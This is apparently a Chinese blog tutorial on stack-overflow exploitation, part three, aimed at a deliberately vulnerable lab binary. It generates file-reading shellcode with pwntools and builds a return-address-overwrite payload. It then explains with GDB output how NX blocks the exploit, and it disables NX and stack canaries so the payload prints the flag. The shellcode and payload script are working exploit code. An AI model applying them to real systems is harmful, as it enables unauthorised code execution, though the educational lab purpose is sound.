virusdefender's blog ʕ•ᴥ•ʔ

二进制安全之栈溢出(三)

上一篇文章中控制了函数的返回地址,将地址修改为已有的指令地址,但是为了实现任意代码执行,是需要将返回地址修改为我们可以控制的 shellcode 的地址的。

shellcode

http://docs.pwntools.com/en/stable/shellcraft/amd64.html#module-pwnlib.shellcraft.amd64.linux 有使用 pwntools 生成 shellcode 的文档。我选择了一个读取文件的 shellcode。

 1>>> from pwn import *
 2>>> code = shellcraft.amd64.linux.cat("flag")
 3>>> asm_code = asm(code, arch="amd64", os="linux")
 4>>> print code
 5    /* push 'flag\x00' */
 6    push 0x67616c66
 7    /* call open('rsp', 0, 'O_RDONLY') */
 8    push SYS_open /* 2 */
 9    pop rax
10    mov rdi, rsp
11    xor esi, esi /* 0 */
12    cdq /* rdx=0 */
13    syscall
14    /* call sendfile(1, 'rax', 0, 2147483647) */
15    mov r10d, 0x7fffffff
16    mov rsi, rax
17    push SYS_sendfile /* 0x28 */
18    pop rax
19    push 1
20    pop rdi
21    cdq /* rdx=0 */
22    syscall
23
24>>> print repr(asm(code))
25'hflagj\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
26>>> print len(asm_code)
2734

因为这段 shellcode 长度只有 34 个字节,完全可以塞入栈中,然后我们使用之前的办法,确定一个返回地址就可以了,这里就是 student 结构体的起始地址。

1from pwn import *
2
3code = shellcraft.amd64.linux.cat("flag")
4shellcode = asm(code, arch="amd64", os="linux")
5data =  "1925\n" + shellcode + "A" * (0x7fffffffe348 - 0x7fffffffe2f0 - len(shellcode)) + p64(0x7fffffffe2f0)
6
7print data

NX 栈不可执行

在 GDB 中运行,会得到一个 SIGSEGV,并不会得到 flag。

 1gdb-peda$ r < in.txt
 2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
 3What's Your Birth?
 4What's Your Name?
 5You Are Born In 1094795585
 6You Are Naive.
 7You Speed One Second Here.
 8
 9Program received signal SIGSEGV, Segmentation fault.
10[----------------------------------registers-----------------------------------]
11RAX: 0x0
12RBX: 0x0
13RCX: 0x7ffff7b04290 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
14RDX: 0x7ffff7dd3780 --> 0x0
15RSI: 0x602010 ("You Speed One Second Here.\n")
16RDI: 0x1
17RBP: 0x4141414141414141 ('AAAAAAAA')
18RSP: 0x7fffffffe350 --> 0x0
19RIP: 0x7fffffffe2f0 --> 0x58026a67616c6668
20R8 : 0x2e6572654820646e ('nd Here.')
21R9 : 0x1b
22R10: 0x0
23R11: 0x246
24R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
25R13: 0x7fffffffe420 --> 0x1
26R14: 0x0
27R15: 0x0
28EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
29[-------------------------------------code-------------------------------------]
30   0x7fffffffe2ea:	add    bh,bh
31   0x7fffffffe2ec:	add    DWORD PTR [rax],eax
32   0x7fffffffe2ee:	add    BYTE PTR [rax],al
33=> 0x7fffffffe2f0:	push   0x67616c66
34   0x7fffffffe2f5:	push   0x2
35   0x7fffffffe2f7:	pop    rax
36   0x7fffffffe2f8:	mov    rdi,rsp
37   0x7fffffffe2fb:	xor    esi,esi
38[------------------------------------stack-------------------------------------]
390000| 0x7fffffffe350 --> 0x0
400008| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b4 ("/home/virusdefender/Desktop/pwn/new/vuln")
410016| 0x7fffffffe360 --> 0x1f7ffcca0
420024| 0x7fffffffe368 --> 0x4006b6 (<main>:	push   rbp)
430032| 0x7fffffffe370 --> 0x0
440040| 0x7fffffffe378 --> 0xd7d0880889372de6
450048| 0x7fffffffe380 --> 0x4005c0 (<_start>:	xor    ebp,ebp)
460056| 0x7fffffffe388 --> 0x7fffffffe420 --> 0x1
47[------------------------------------------------------------------------------]
48Legend: code, data, rodata, value
49Stopped reason: SIGSEGV
500x00007fffffffe2f0 in ?? ()

而且可以看到我们的地址计算是没问题的,只是 shellcode 第一个指令就挂掉了。

原因是并不是所有的内存区域都可执行的,使用 vmmap 可以看到,0x00007fffffffe2f0 所在的区域([stack] 区域或者使用 vmmap 0x00007fffffffe2f0)是 rw-p,是没有 x 执行权限的。

 1gdb-peda$ vmmap
 2Start              End                Perm	Name
 30x00400000         0x00401000         r-xp	/home/virusdefender/Desktop/pwn/new/vuln
 40x00600000         0x00601000         r--p	/home/virusdefender/Desktop/pwn/new/vuln
 50x00601000         0x00602000         rw-p	/home/virusdefender/Desktop/pwn/new/vuln
 60x00602000         0x00623000         rw-p	[heap]
 70x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
 80x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
 90x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
100x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
110x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
120x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
130x00007ffff7fda000 0x00007ffff7fdd000 rw-p	mapped
140x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
150x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
160x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
170x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
180x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
190x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
200x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
210xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

这其实是 Linux 对漏洞利用的缓解措施中的一种,标记部分内存不可执行,使用 checksec 可以查看漏洞利用缓解措施的状态。

1gdb-peda$ checksec
2CANARY    : disabled
3FORTIFY   : disabled
4NX        : ENABLED
5PIE       : disabled
6RELRO     : Partial

NX 就是标记内存不可执行,这里是 ENABLED 状态。

CANNARY 是编译器会插入一些标记和检查指令,如果栈溢出的时候把它们覆盖了,那检查的时候就会导致导致进程退出。我们使用了 -fno-stack-protector 禁用了这个特性。

其他的遇到的时候再说。

所以我们应该使用的编译参数是 gcc -g -O0 -fno-stack-protector -z execstack -o vuln main.c,这样才可以正常运行 payload,最后的 SIGSEGV 是因为堆栈不平衡导致的。

这样就可以看到 student 的内存区域是可执行的了。

1gdb-peda$ vmmap 0x7fffffffe2f0
2Start              End                Perm	Name
30x00007ffffffde000 0x00007ffffffff000 rwxp	[stack]
 1gdb-peda$ r < in.txt
 2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
 3What's Your Birth?
 4What's Your Name?
 5You Are Born In 1094795585
 6You Are Naive.
 7You Speed One Second Here.
 8THIS_IS_FLAG
 9
10Program received signal SIGSEGV, Segmentation fault.

参考

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全 #CTF